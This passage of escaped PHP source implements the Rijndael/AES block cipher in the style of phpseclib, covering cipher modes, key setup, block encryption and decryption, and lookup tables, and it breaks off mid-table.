self::MODE_OFB: \$encrypt = \$init_encrypt . ' \$_ciphertext = \"\"; \$_plaintext_len = strlen(\$_text); \$_xor = \$self->encryptIV; \$_buffer \r\n= &\$self->enbuffer; if (strlen(\$_buffer[\"xor\"])) { for (\$_i = 0; \$_i < \$_plaintext_len; \$_i+= '.\$block_size.') { \$_block = substr(\$_text, \$_i, '.\$block_size.'); if \r\n(strlen(\$_block) > strlen(\$_buffer[\"xor\"])) { \$in = \$_xor; '.\$encrypt_block.' \$_xor = \$in; \$_buffer[\"xor\"].= \$_xor; } \$_key = \$self->_string_shift(\$_buffer[\"xor\"], \r\n'.\$block_size.'); \$_ciphertext.= \$_block ^ \$_key; } } else { for (\$_i = 0; \$_i < \$_plaintext_len; \$_i+= '.\$block_size.') { \$in = \$_xor; '.\$encrypt_block.' \$_xor = \$in; \r\n\$_ciphertext.= substr(\$_text, \$_i, '.\$block_size.') ^ \$_xor; } \$_key = \$_xor; } if (\$self->continuousBuffer) { \$self->encryptIV = \$_xor; if (\$_start = \$_plaintext_len % \r\n'.\$block_size.') { \$_buffer[\"xor\"] = substr(\$_key, \$_start) . \$_buffer[\"xor\"]; } } return \$_ciphertext; '; \$decrypt = \$init_encrypt . ' \$_plaintext = \"\"; \$_ciphertext_len \r\n= strlen(\$_text); \$_xor = \$self->decryptIV; \$_buffer = &\$self->debuffer; if (strlen(\$_buffer[\"xor\"])) { for (\$_i = 0; \$_i < \$_ciphertext_len; \$_i+= '.\$block_size.') { \r\n\$_block = substr(\$_text, \$_i, '.\$block_size.'); if (strlen(\$_block) > strlen(\$_buffer[\"xor\"])) { \$in = \$_xor; '.\$encrypt_block.' \$_xor = \$in; \$_buffer[\"xor\"].= \$_xor; } \r\n\$_key = \$self->_string_shift(\$_buffer[\"xor\"], '.\$block_size.'); \$_plaintext.= \$_block ^ \$_key; } } else { for (\$_i = 0; \$_i < \$_ciphertext_len; \$_i+= '.\$block_size.') { \r\n\$in = \$_xor; '.\$encrypt_block.' \$_xor = \$in; \$_plaintext.= substr(\$_text, \$_i, '.\$block_size.') ^ \$_xor; } \$_key = \$_xor; } if (\$self->continuousBuffer) { \r\n\$self->decryptIV = \$_xor; if (\$_start = \$_ciphertext_len % '.\$block_size.') { \$_buffer[\"xor\"] = substr(\$_key, \$_start) . \$_buffer[\"xor\"]; } } return \$_plaintext; '; \r\nbreak; case self::MODE_STREAM: \$encrypt = \$init_encrypt . ' \$_ciphertext = \"\"; '.\$encrypt_block.' return \$_ciphertext; '; \$decrypt = \$init_decrypt . ' \$_plaintext = \"\"; \r\n'.\$decrypt_block.' return \$_plaintext; '; break; default: \$encrypt = \$init_encrypt . ' \$_ciphertext = \"\"; \$_plaintext_len = strlen(\$_text); \$in = \$self->encryptIV; for \r\n(\$_i = 0; \$_i < \$_plaintext_len; \$_i+= '.\$block_size.') { \$in = substr(\$_text, \$_i, '.\$block_size.') ^ \$in; '.\$encrypt_block.' \$_ciphertext.= \$in; } if \r\n(\$self->continuousBuffer) { \$self->encryptIV = \$in; } return \$_ciphertext; '; \$decrypt = \$init_decrypt . ' \$_plaintext = \"\"; \$_text = str_pad(\$_text, strlen(\$_text) + \r\n('.\$block_size.' - strlen(\$_text) % '.\$block_size.') % '.\$block_size.', chr(0)); \$_ciphertext_len = strlen(\$_text); \$_iv = \$self->decryptIV; for (\$_i = 0; \$_i < \r\n\$_ciphertext_len; \$_i+= '.\$block_size.') { \$in = \$_block = substr(\$_text, \$_i, '.\$block_size.'); '.\$decrypt_block.' \$_plaintext.= \$in ^ \$_iv; \$_iv = \$_block; } if \r\n(\$self->continuousBuffer) { \$self->decryptIV = \$_iv; } return \$self->_unpad(\$_plaintext); '; break; } return create_function('\$_action, &\$self, \$_text', \$init_crypt . 'if \r\n(\$_action == \"encrypt\") { ' . \$encrypt . ' } else { ' . \$decrypt . ' }'); } function &_getLambdaFunctions() { static \$functions = array(); return \$functions; } function \r\n_hashInlineCryptFunction(\$bytes) { if (!isset(self::\$WHIRLPOOL_AVAILABLE)) { self::\$WHIRLPOOL_AVAILABLE = extension_loaded('hash') && in_array('whirlpool', hash_algos()); \r\n} \$result = ''; \$hash = \$bytes; switch (true) { case self::\$WHIRLPOOL_AVAILABLE: foreach (str_split(\$bytes, 64) as \$t) { \$hash = hash('whirlpool', \$hash, true); \$result \r\n.= \$t ^ \$hash; } return \$result . hash('whirlpool', \$hash, true); default: \$len = strlen(\$bytes); for (\$i = 0; \$i < \$len; \$i+=20) { \$t = substr(\$bytes, \$i, 20); \$hash = \r\npack('H*', sha1(\$hash)); \$result .= \$t ^ \$hash; } return \$result . pack('H*', sha1(\$hash)); } } /* --- */ var \$password_default_salt = 'phpseclib'; var \$w; var \$dw; var \r\n\$Nb = 4; var \$key_length = 16; var \$Nk = 4; var \$Nr; var \$c; var \$kl; function __construct(\$mode) { if (\$mode == self::MODE_STREAM) { throw new \r\n\\InvalidArgumentException('Block ciphers cannot be ran in stream mode'); } /* --- */ switch (\$mode) { case self::MODE_ECB: case self::MODE_CBC: \$this->paddable = true; \r\nbreak; case self::MODE_CTR: case self::MODE_CFB: case self::MODE_OFB: case self::MODE_STREAM: \$this->paddable = false; break; default: throw new \r\n\\InvalidArgumentException('No valid mode has been specified'); } \$this->mode = \$mode; if (\$this->use_inline_crypt !== false && function_exists('create_function')) { \r\n\$this->use_inline_crypt = false /* for PHP 7.2. true */; } } function setKeyLength(\$length) { switch (\$length) { case 128: case 160: case 192: case 224: case 256: \$this->key_length = \$length >> \r\n3; break; default: throw new \\LengthException('Key size of ' . \$length . ' bits is not supported by this algorithm. Only keys of sizes 128, 160, 192, 224 or 256 bits are \r\nsupported'); } \$this->explicit_key_length = \$length >> 3; if (is_string(\$this->key) && strlen(\$this->key) != \$this->explicit_key_length) { \$this->key = false; throw new \r\n\\LengthException('Key has already been set and is not ' .\$this->explicit_key_length . ' bytes long'); } } function setKey(\$key) { switch (strlen(\$key)) { case 16: case \r\n20: case 24: case 28: case 32: break; default: throw new \\LengthException('Key of size ' . strlen(\$key) . ' not supported by this algorithm. Only keys of sizes 16, 20, \r\n24, 28 or 32 are supported'); } if (\$this->explicit_key_length !== false && strlen(\$key) != \$this->explicit_key_length) { throw new \\LengthException('Key length has \r\nalready been set to ' . \$this->explicit_key_length . ' bytes and this key is ' . strlen(\$key) . ' bytes'); } \$this->key = \$key; \$this->key_length = strlen(\$key); \r\n\$this->changed = true; \$this->_setEngine(); } function setBlockLength(\$length) { switch (\$length) { case 128: case 160: case 192: case 224: case 256: break; default: \r\nthrow new \\LengthException('Key size of ' . \$length . ' bits is not supported by this algorithm. Only keys of sizes 128, 160, 192, 224 or 256 bits are supported'); } \r\n\$this->Nb = \$length >> 5; \$this->block_size = \$length >> 3; \$this->changed = true; \$this->_setEngine(); } function isValidEngine(\$engine) { switch (\$engine) { case \r\nself::ENGINE_INTERNAL: return true; } return false; } function _encryptBlock(\$in) { static \$tables; if (empty(\$tables)) { \$tables = &\$this->_getTables(); } \$t0 = \r\n\$tables[0]; \$t1 = \$tables[1]; \$t2 = \$tables[2]; \$t3 = \$tables[3]; \$sbox = \$tables[4]; \$state = array(); \$words = unpack('N*', \$in); \$c = \$this->c; \$w = \$this->w; \r\n\$Nb = \$this->Nb; \$Nr = \$this->Nr; \$wc = \$Nb - 1; foreach (\$words as \$word) { \$state[] = \$word ^ \$w[++\$wc]; } \$temp = array(); for (\$round = 1; \$round < \$Nr; ++\$round) { \r\n\$i = 0; \$j = \$c[1]; \$k = \$c[2]; \$l = \$c[3]; while (\$i < \$Nb) { \$temp[\$i] = \$t0[\$state[\$i] >> 24 & 0x000000FF] ^ \$t1[\$state[\$j] >> 16 & 0x000000FF] ^ \$t2[\$state[\$k] >> 8 \r\n& 0x000000FF] ^ \$t3[\$state[\$l] & 0x000000FF] ^ \$w[++\$wc]; ++\$i; \$j = (\$j + 1) % \$Nb; \$k = (\$k + 1) % \$Nb; \$l = (\$l + 1) % \$Nb; } \$state = \$temp; } for (\$i = 0; \$i < \r\n\$Nb; ++\$i) { \$state[\$i] = \$sbox[\$state[\$i] & 0x000000FF] | (\$sbox[\$state[\$i] >> 8 & 0x000000FF] << 8) | (\$sbox[\$state[\$i] >> 16 & 0x000000FF] << 16) | \r\n(\$sbox[\$state[\$i] >> 24 & 0x000000FF] << 24); } \$i = 0; \$j = \$c[1]; \$k = \$c[2]; \$l = \$c[3]; while (\$i < \$Nb) { \$temp[\$i] = (\$state[\$i] & 0xFF000000) ^ (\$state[\$j] & \r\n0x00FF0000) ^ (\$state[\$k] & 0x0000FF00) ^ (\$state[\$l] & 0x000000FF) ^ \$w[\$i]; ++\$i; \$j = (\$j + 1) % \$Nb; \$k = (\$k + 1) % \$Nb; \$l = (\$l + 1) % \$Nb; } switch (\$Nb) { case \r\n8: return pack('N*', \$temp[0], \$temp[1], \$temp[2], \$temp[3], \$temp[4], \$temp[5], \$temp[6], \$temp[7]); case 7: return pack('N*', \$temp[0], \$temp[1], \$temp[2], \$temp[3], \r\n\$temp[4], \$temp[5], \$temp[6]); case 6: return pack('N*', \$temp[0], \$temp[1], \$temp[2], \$temp[3], \$temp[4], \$temp[5]); case 5: return pack('N*', \$temp[0], \$temp[1], \r\n\$temp[2], \$temp[3], \$temp[4]); default: return pack('N*', \$temp[0], \$temp[1], \$temp[2], \$temp[3]); } } function _decryptBlock(\$in) { static \$invtables; if \r\n(empty(\$invtables)) { \$invtables = &\$this->_getInvTables(); } \$dt0 = \$invtables[0]; \$dt1 = \$invtables[1]; \$dt2 = \$invtables[2]; \$dt3 = \$invtables[3]; \$isbox = \r\n\$invtables[4]; \$state = array(); \$words = unpack('N*', \$in); \$c = \$this->c; \$dw = \$this->dw; \$Nb = \$this->Nb; \$Nr = \$this->Nr; \$wc = \$Nb - 1; foreach (\$words as \$word) { \r\n\$state[] = \$word ^ \$dw[++\$wc]; } \$temp = array(); for (\$round = \$Nr - 1; \$round > 0; --\$round) { \$i = 0; \$j = \$Nb - \$c[1]; \$k = \$Nb - \$c[2]; \$l = \$Nb - \$c[3]; while (\$i < \r\n\$Nb) { \$temp[\$i] = \$dt0[\$state[\$i] >> 24 & 0x000000FF] ^ \$dt1[\$state[\$j] >> 16 & 0x000000FF] ^ \$dt2[\$state[\$k] >> 8 & 0x000000FF] ^ \$dt3[\$state[\$l] & 0x000000FF] ^ \r\n\$dw[++\$wc]; ++\$i; \$j = (\$j + 1) % \$Nb; \$k = (\$k + 1) % \$Nb; \$l = (\$l + 1) % \$Nb; } \$state = \$temp; } \$i = 0; \$j = \$Nb - \$c[1]; \$k = \$Nb - \$c[2]; \$l = \$Nb - \$c[3]; while \r\n(\$i < \$Nb) { \$word = (\$state[\$i] & 0xFF000000) | (\$state[\$j] & 0x00FF0000) | (\$state[\$k] & 0x0000FF00) | (\$state[\$l] & 0x000000FF); \$temp[\$i] = \$dw[\$i] ^ (\$isbox[\$word \r\n& 0x000000FF] | (\$isbox[\$word >> 8 & 0x000000FF] << 8) | (\$isbox[\$word >> 16 & 0x000000FF] << 16) | (\$isbox[\$word >> 24 & 0x000000FF] << 24)); ++\$i; \$j = (\$j + \r\n1) % \$Nb; \$k = (\$k + 1) % \$Nb; \$l = (\$l + 1) % \$Nb; } switch (\$Nb) { case 8: return pack('N*', \$temp[0], \$temp[1], \$temp[2], \$temp[3], \$temp[4], \$temp[5], \$temp[6], \r\n\$temp[7]); case 7: return pack('N*', \$temp[0], \$temp[1], \$temp[2], \$temp[3], \$temp[4], \$temp[5], \$temp[6]); case 6: return pack('N*', \$temp[0], \$temp[1], \$temp[2], \r\n\$temp[3], \$temp[4], \$temp[5]); case 5: return pack('N*', \$temp[0], \$temp[1], \$temp[2], \$temp[3], \$temp[4]); default: return pack('N*', \$temp[0], \$temp[1], \$temp[2], \r\n\$temp[3]); } } function _setupKey() { static \$rcon = array(0, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, \r\n0x36000000, 0x6C000000, 0xD8000000, 0xAB000000, 0x4D000000, 0x9A000000, 0x2F000000, 0x5E000000, 0xBC000000, 0x63000000, 0xC6000000, 0x97000000, 0x35000000, 0x6A000000, \r\n0xD4000000, 0xB3000000, 0x7D000000, 0xFA000000, 0xEF000000, 0xC5000000, 0x91000000); if (isset(\$this->kl['key']) && \$this->key === \$this->kl['key'] && \$this->key_length \r\n=== \$this->kl['key_length'] && \$this->block_size === \$this->kl['block_size']) { return; } \$this->kl = array('key' => \$this->key, 'key_length' => \$this->key_length, \r\n'block_size' => \$this->block_size); \$this->Nk = \$this->key_length >> 2; \$this->Nr = max(\$this->Nk, \$this->Nb) + 6; switch (\$this->Nb) { case 4: case 5: case 6: \$this->c = \r\narray(0, 1, 2, 3); break; case 7: \$this->c = array(0, 1, 2, 4); break; case 8: \$this->c = array(0, 1, 3, 4); } \$w = array_values(unpack('N*words', \$this->key)); \$length = \r\n\$this->Nb * (\$this->Nr + 1); for (\$i = \$this->Nk; \$i < \$length; \$i++) { \$temp = \$w[\$i - 1]; if (\$i % \$this->Nk == 0) { \$temp = ((\$temp << 8) & 0xFFFFFF00) | ((\$temp >> \r\n24) & 0x000000FF); \$temp = \$this->_subWord(\$temp) ^ \$rcon[\$i / \$this->Nk]; } elseif (\$this->Nk > 6 && \$i % \$this->Nk == 4) { \$temp = \$this->_subWord(\$temp); } \$w[\$i] = \r\n\$w[\$i - \$this->Nk] ^ \$temp; } list(\$dt0, \$dt1, \$dt2, \$dt3) = \$this->_getInvTables(); \$temp = \$this->w = \$this->dw = array(); for (\$i = \$row = \$col = 0; \$i < \$length; \r\n\$i++, \$col++) { if (\$col == \$this->Nb) { if (\$row == 0) { \$this->dw[0] = \$this->w[0]; } else { \$j = 0; while (\$j < \$this->Nb) { \$dw = \$this->_subWord(\$this->w[\$row][\$j]); \r\n\$temp[\$j] = \$dt0[\$dw >> 24 & 0x000000FF] ^ \$dt1[\$dw >> 16 & 0x000000FF] ^ \$dt2[\$dw >> 8 & 0x000000FF] ^ \$dt3[\$dw & 0x000000FF]; \$j++; } \$this->dw[\$row] = \$temp; } \r\n\$col = 0; \$row++; } \$this->w[\$row][\$col] = \$w[\$i]; } \$this->dw[\$row] = \$this->w[\$row]; \$this->dw = array_reverse(\$this->dw); \$w = array_pop(\$this->w); \$dw = \r\narray_pop(\$this->dw); foreach (\$this->w as \$r => \$wr) { foreach (\$wr as \$c => \$wc) { \$w[] = \$wc; \$dw[] = \$this->dw[\$r][\$c]; } } \$this->w = \$w; \$this->dw = \$dw; } \r\nfunction _subWord(\$word) { static \$sbox; if (empty(\$sbox)) { list(, , , , \$sbox) = \$this->_getTables(); } return \$sbox[\$word & 0x000000FF] | (\$sbox[\$word >> \r\n8 & 0x000000FF] << 8) | (\$sbox[\$word >> 16 & 0x000000FF] << 16) | (\$sbox[\$word >> 24 & 0x000000FF] << 24); } function &_getTables() { static \$tables; if (empty(\$tables)) \r\n{ \$t3 = array_map('intval', array( 0x6363A5C6, 0x7C7C84F8, 0x777799EE, 0x7B7B8DF6, 0xF2F20DFF, 0x6B6BBDD6, 0x6F6FB1DE, 0xC5C55491, 0x30305060, 0x01010302, 0x6767A9CE, \r\n0x2B2B7D56, 0xFEFE19E7, 0xD7D762B5, 0xABABE64D, 0x76769AEC, 0xCACA458F, 0x82829D1F, 0xC9C94089, 0x7D7D87FA, 0xFAFA15EF, 0x5959EBB2, 0x4747C98E, 0xF0F00BFB, 0xADADEC41, \r\n0xD4D467B3, 0xA2A2FD5F, 0xAFAFEA45, 0x9C9CBF23, 0xA4A4F753, 0x727296E4, 0xC0C05B9B, 0xB7B7C275, 0xFDFD1CE1, 0x9393AE3D, 0x26266A4C, 0x36365A6C, 0x3F3F417E, 0xF7F702F5, \r\n0xCCCC4F83, 0x34345C68, 0xA5A5F451, 0xE5E534D1, 0xF1F108F9, 0x717193E2, 0xD8D873AB, 0x31315362, 0x15153F2A, 0x04040C08, 0xC7C75295, 0x23236546, 0xC3C35E9D, 0x18182830, \r\n0x9696A137, 0x05050F0A, 0x9A9AB52F, 0x0707090E, 0x12123624, 0x80809B1B, 0xE2E23DDF, 0xEBEB26CD, 0x2727694E, 0xB2B2CD7F, 0x75759FEA, 0x09091B12, 0x83839E1D, 0x2C2C7458, \r\n0x1A1A2E34, 0x1B1B2D36, 0x6E6EB2DC, 0x5A5AEEB4, 0xA0A0FB5B, 0x5252F6A4, 0x3B3B4D76, 0xD6D661B7, 0xB3B3CE7D, 0x29297B52, 0xE3E33EDD, 0x2F2F715E, 0x84849713, 0x5353F5A6, \r\n0xD1D168B9, 0x00000000, 0xEDED2CC1, 0x20206040, 0xFCFC1FE3, 0xB1B1C879, 0x5B5BEDB6, 0x6A6ABED4, 0xCBCB468D, 0xBEBED967, 0x39394B72, 0x4A4ADE94, 0x4C4CD498, 0x5858E8B0, \r\n0xCFCF4A85, 0xD0D06BBB, 0xEFEF2AC5, 0xAAAAE54F, 0xFBFB16ED, 0x4343C586, 0x4D4DD79A, 0x33335566, 0x85859411, 0x4545CF8A, 0xF9F910E9, 0x02020604, 0x7F7F81FE, 0x5050F0A0, \r\n0x3C3C4478, 0x9F9FBA25, 0xA8A8E34B, 0x5151F3A2, 0xA3A3FE5D, 0x4040C080, 0x8F8F8A05, 0x9292AD3F, 0x9D9DBC21, 0x38384870, 0xF5F504F1, 0xBCBCDF63, 0xB6B6C177, 0xDADA75AF, \r\n0x21216342, 0x10103020, 0xFFFF1AE5, 0xF3F30EFD, 0xD2D26DBF, 0xCDCD4C81, 0x0C0C1418, 0x13133526, 0xECEC2FC3, 0x5F5FE1BE, 0x9797A235, 0x4444CC88, 0x1717392E, 0xC4C45793, \r\n0xA7A7F255, 0x7E7E82FC, 0x3D3D477A, 0x6464ACC8, 0x5D5DE7BA, 0x19192B32, 0x737395E6, 0x6060A0C0, 0x81819819, 0x4F4FD19E, 0xDCDC7FA3, 0x22226644, 0x2A2A7E54, 0x9090AB3B, \r\n0x8888830B, 0x4646CA8C, 0xEEEE29C7, 0xB8B8D36B, 0x14143C28, 0xDEDE79A7, 0x5E5EE2BC, 0x0B0B1D16, 0xDBDB76AD, 0xE0E03BDB, 0x32325664, 0x3A3A4E74, 0x0A0A1E14, 0x4949DB92, \r\n0x06060A0C, 0x24246C48, 0x5C5CE4B8, 0xC2C25D9F, 0xD3D36EBD, 0xACACEF43, 0x6262A6C4, 0x9191A839, 0x9595A431, 0xE4E437D3, 0x79798BF2, 0xE7E732D5, 0xC8C8438B, 0x3737596E, \r\n0x6D6DB7DA, 0x8D8D8C01, 0xD5D564B1, 0x4E4ED29C, 0xA9A9E049, 0x6C6CB4D8, 0x5656FAAC, 0xF4F407F3, 0xEAEA25CF, 0x6565AFCA, 0x7A7A8EF4, 0xAEAEE947, 0x08081810, 0xBABAD56F, \r\n0x787888F0, 0x25256F4A, 0x2E2E725C, 0x1C1C2438, 0xA6A6F157, 0xB4B4C773, 0xC6C65197, 0xE8E823CB, 0xDDDD7CA1, 0x74749CE8, 0x1F1F213E, 0x4B4BDD96, 0xBDBDDC61, 0x8B8B860D, \r\n0x8A8A850F, 0x707090E0, 0x3E3E427C, 0xB5B5C471, 0x6666AACC, 0x4848D890, 0x03030506, 0xF6F601F7, 0x0E0E121C, 0x6161A3C2, 0x35355F6A, 0x5757F9AE, 0xB9B9D069, 0x86869117, \r\n0xC1C15899, 0x1D1D273A, 0x9E9EB927, 0xE1E138D9, 0xF8F813EB, 0x9898B32B, 0x11113322, 0x6969BBD2, 0xD9D970A9, 0x8E8E8907, 0x9494A733, 0x9B9BB62D, 0x1E1E223C, 0x87879215, \r\n0xE9E920C9, 0xCECE4987, 0x5555FFAA, 0x28287850, 0xDFDF7AA5, 0x8C8C8F03, 0xA1A1F859, 0x89898009, 0x0D0D171A, 0xBFBFDA65, 0xE6E631D7, 0x4242C684, 0x6868B8D0, 0x4141C382, \r\n0x9999B029, 0x2D2D775A, 0x0F0F111E, 0xB0B0CB7B, 0x5454FCA8, 0xBBBBD66D, 0x16163A2C)); foreach (\$t3 as \$t3i) { \$t0[] = ((\$t3i << 24) & 0xFF000000) | ((\$t3i >> 8) & \r\n0x00FFFFFF); \$t1[] = ((\$t3i << 16) & 0xFFFF0000) | ((\$t3i >> 16) & 0x0000FFFF); \$t2[] = ((\$t3i << 8) & 0xFFFFFF00) | ((\$t3i >> 24) & 0x000000FF); } \$tables = array( \$t0, \r\n\$t1, \$t2, \$t3, array( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, \r\n0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, \r\n0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, \r\n0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, \r\n0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, \r\n0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, \r\n0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, \r\n0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, \r\n0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, \r\n0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16)); } return \$tables; } function &_getInvTables() { static \$tables; if (empty(\$tables)) { \$dt3 = array_map('intval', array( \r\n0xF4A75051, 0x4165537E, 0x17A4C31A, 0x275E963A, 0xAB6BCB3B, 0x9D45F11F, 0xFA58ABAC, 0xE303934B, 0x30FA5520, 0x766DF6AD, 0xCC769188, 0x024C25F5, 0xE5D7FC4F, 0x2ACBD7C5, \r\n0x35448026, 0x62A38FB5, 0xB15A49DE, 0xBA1B6725, 0xEA0E9845, 0xFEC0E15D, 0x2F7502C3, 0x4CF01281, 0x4697A38D, 0xD3F9C66B, 0x8F5FE703, 0x929C9515, 0x6D7AEBBF, 0x5259DA95, \r\n0xBE832DD4, 0x7421D358, 0xE0692949, 0xC9C8448E, 0xC2896A75, 0x8E7978F4, 0x583E6B99, 0xB971DD27, 0xE14FB6BE, 0x88AD17F0, 0x20AC66C9, 0xCE3AB47D, 0xDF4A1863, 0x1A3182E5, \r\n0x51336097, 0x537F4562, 0x6477E0B1, 0x6BAE84BB, 0x81A01CFE, 0x082B94F9, 0x48685870, 0x45FD198F, 0xDE6C8794, 0x7BF8B752, 0x73D323AB, 0x4B02E272, 0x1F8F57E3, 0x55AB2A66, \r\n0xEB2807B2, 0xB5C2032F, 0xC57B9A86, 0x3708A5D3, 0x2887F230, 0xBFA5B223, 0x036ABA02, 0x16825CED, 0xCF1C2B8A, 0x79B492A7, 0x07F2F0F3, 0x69E2A14E, 0xDAF4CD65, 0x05BED506, \r\n0x34621FD1, 0xA6FE8AC4, 0x2E539D34, 0xF355A0A2, 0x8AE13205, 0xF6EB75A4, 0x83EC390B, 0x60EFAA40, 0x719F065E, 0x6E1051BD, 0x218AF93E, 0xDD063D96, 0x3E05AEDD, 0xE6BD464D, \r\n0x548DB591, 0xC45D0571, 0x06D46F04, 0x5015FF60, 0x98FB2419, 0xBDE997D6, 0x4043CC89, 0xD99E7767, 0xE842BDB0, 0x898B8807, 0x195B38E7, 0xC8EEDB79, 0x7C0A47A1, 0x420FE97C, \r\n0x841EC9F8, 0x00000000, 0x80868309, 0x2BED4832, 0x1170AC1E, 0x5A724E6C, 0x0EFFFBFD, 0x8538560F, 0xAED51E3D, 0x2D392736, 0x0FD9640A, 0x5CA62168, 0x5B54D19B, 0x362E3A24, \r\n0x0A67B10C, 0x57E70F93, 0xEE96D2B4, 0x9B919E1B, 0xC0C54F80, 0xDC20A261, 0x774B695A, 0x121A161C, 0x93BA0AE2, 0xA02AE5C0, 0x22E0433C, 0x1B171D12, 0x090D0B0E, 0x8BC7ADF2, \r\n0xB6A8B92D, 0x1EA9C814, 0xF1198557, 0x75074CAF, 0x99DDBBEE, 0x7F60FDA3, 0x01269FF7, 0x72F5BC5C, 0x663BC544, 0xFB7E345B, 0x4329768B, 0x23C6DCCB, 0xEDFC68B6, 0xE4F163B8, \r\n0x31DCCAD7, 0x63851042, 0x97224013, 0xC6112084, 0x4A247D85, 0xBB3DF8D2, 0xF93211AE, 0x29A16DC7, 0x9E2F4B1D, 0xB230F3DC, 0x8652EC0D, 0xC1E3D077, 0xB3166C2B, 0x70B999A9, \r\n0x9448FA11, 0xE9642247, 0xFC8CC4A8, 0xF03F1AA0, 0x7D2CD856, 0x3390EF22, 0x494EC787, 0x38D1C1D9, 0xCAA2FE8C, 0xD40B3698, 0xF581CFA6, 0x7ADE28A5, 0xB78E26DA, 0xADBFA43F, \r\n0x3A9DE42C, 0x78920D50, 0x5FCC9B6A, 0x7E466254, 0x8D13C2F6, 0xD8B8E890, 0x39F75E2E, 0xC3AFF582, 0x5D80BE9F, 0xD0937C69, 0xD52DA96F, 0x2512B3CF, 0xAC993BC8, 0x187DA710, \r\n0x9C636EE8, 0x3BBB7BDB, 0x267809CD, 0x5918F46E, 0x9AB701EC, 0x4F9AA883, 0x956E65E6, 0xFFE67EAA, 0xBCCF0821, 0x15E8E6EF, 0xE79BD9BA, 0x6F36CE4A, 0x9F09D4EA, 0xB07CD629, \r\n0xA4B2AF31, 0x3F23312A, 0xA59430C6, 0xA266C035, 0x4EBC3774, 0x82CAA6FC, 0x90D0B0E0, 0xA7D81533, 0x04984AF1, 0xECDAF741, 0xCD500E7F, 0x91F62F17, 0x4DD68D76, 0xEFB04D43, \r\n0xAA4D54CC, 0x9604DFE4, 0xD1B5E39E, 0x6A881B4C, 0x2C1FB8C1, 0x65517F46, 0x5EEA049D, 0x8C355D01, 0x877473FA, 0x0B412EFB, 0x671D5AB3, 0xDBD25292, 0x105633E9, 0xD647136D, \r\n0xD7618C9A, 0xA10C7A37, 0xF8148E59, 0x133C89EB, 0xA927EECE, 0x61C935B7, 0x1CE5EDE1, 0x47B13C7A, 0xD2DF599C, 0xF2733F55, 0x14CE7918, 0xC737BF73, 0xF7CDEA53, 0xFDAA5B5F, \r\n0x3D6F14DF, 0x44DB8678, 0xAFF381CA, 0x68C43EB9, 0x24342C38, 0xA3405FC2, 0x1DC37216, 0xE2250CBC, 0x3C498B28, 0x0D9541FF, 0xA8017139, 0x0CB3DE08, 0xB4E49CD8, 0x56C19064, \r\n0xCB84617B, 0x32B670D5, 0x6C5C7448, 0xB85742D0)); foreach (\$dt3 as \$dt3i) { \$dt0[] = ((\$dt3i << 24) & 0xFF000000) | ((\$dt3i >> 8) & 0x00FFFFFF); \$dt1[] = ((\$dt3i << 16) \r\n& 0xFFFF0000) | ((\$dt3i >> 16) & 0x0000FFFF); \$dt2[] = ((\$dt3i << 8) & 0xFFFFFF00) | ((\$dt3i >> 24) & 0x000000FF); }; \$tables = array( \$dt0, \$dt1, \$dt2, \$dt3, array( \r\n0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, \r\n0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, \r\n0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 